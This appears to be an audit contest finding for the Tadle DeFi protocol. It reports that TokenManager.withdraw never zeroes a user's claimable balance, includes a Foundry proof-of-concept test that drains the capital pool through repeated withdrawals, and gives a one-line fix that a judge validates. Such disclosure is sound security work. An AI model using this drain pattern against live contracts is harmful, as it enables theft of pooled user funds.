Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

The claimable token of a user is not set to zero after a withdraw

0xphantom

Summary

When a user has a claimable balance, he call the withdraw function (L-137) in the tokenManager, which transfers the tokens from the capital pool to the msg.sender and calls the approve function in the capital pool, allowing the capital pool to approve itself to transfer the tokens from the capital pool to the sender. However, the claimableBalance don't decrease at all so the user can keep calling the withdraw function until totally draining the protocol.

Vulnerability Details

If a user call the withdraw function the token manager will send all the claimable balance of the user as we can see :

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress ][_tokenBalanceType];
...code
​
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
​
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
​
​

But as we can see the claimableBalance is absolutely no set to zero.

Before running the POC you must fix the bug with the allowance that I mentionned in a previous submittion

add this if statement in the withdraw function before the _safe_transfer_from to ensure that the token Manager have enougth allowance :

else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
if (IERC20(_tokenAddress).allowance(capitalPoolAddr, address(this)) < claimAbleAmount) {
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
}
_safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount);
}

you can copy paste this test in the PreMArkets.t.sol file:

function test_withdrawPOC3() public {
mockUSDCToken.mint(address(capitalPool), 3);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(marketPlace, address(mockUSDCToken), 1, 1, 10000, 0, OfferType(0), OfferSettleType(0))
);
address offer1Addr = GenerateAddress.generateOfferAddress(0);
address stock1Addr = GenerateAddress.generateStockAddress(0);
// close the offer to accrued the claimable balance of the user
preMarktes.closeOffer(stock1Addr, offer1Addr);
​
uint256 balanceOfCapitalPoolBefore = mockUSDCToken.balanceOf(address(capitalPool));
uint256 balanceOfUserBefore = mockUSDCToken.balanceOf(user);
uint256 claimableBalanceBefore =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
vm.stopPrank();
uint256 claimableBalanceAfter =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType(4));
​
uint256 balanceOfCapitalPoolAfter = mockUSDCToken.balanceOf(address(capitalPool));
uint256 balanceOfUserAfter = mockUSDCToken.balanceOf(user);
//assert that the claimable balance don't change after the withdraw
assertEq(claimableBalanceBefore, claimableBalanceAfter);
// assert that the user drained the protocol
​
assertEq(balanceOfCapitalPoolAfter, 0);
assertEq(balanceOfUserAfter, balanceOfUserBefore + balanceOfCapitalPoolBefore);
}

Impact

The user can withdraw indefinitely until draining the protocol

Tools Used

Manual Review

Recommendations

Add just this line of code at the end of the withdraw function :

userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
emit Withdraw(_msgSender(), _tokenAddress, _tokenBalanceType, claimAbleAmount);
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.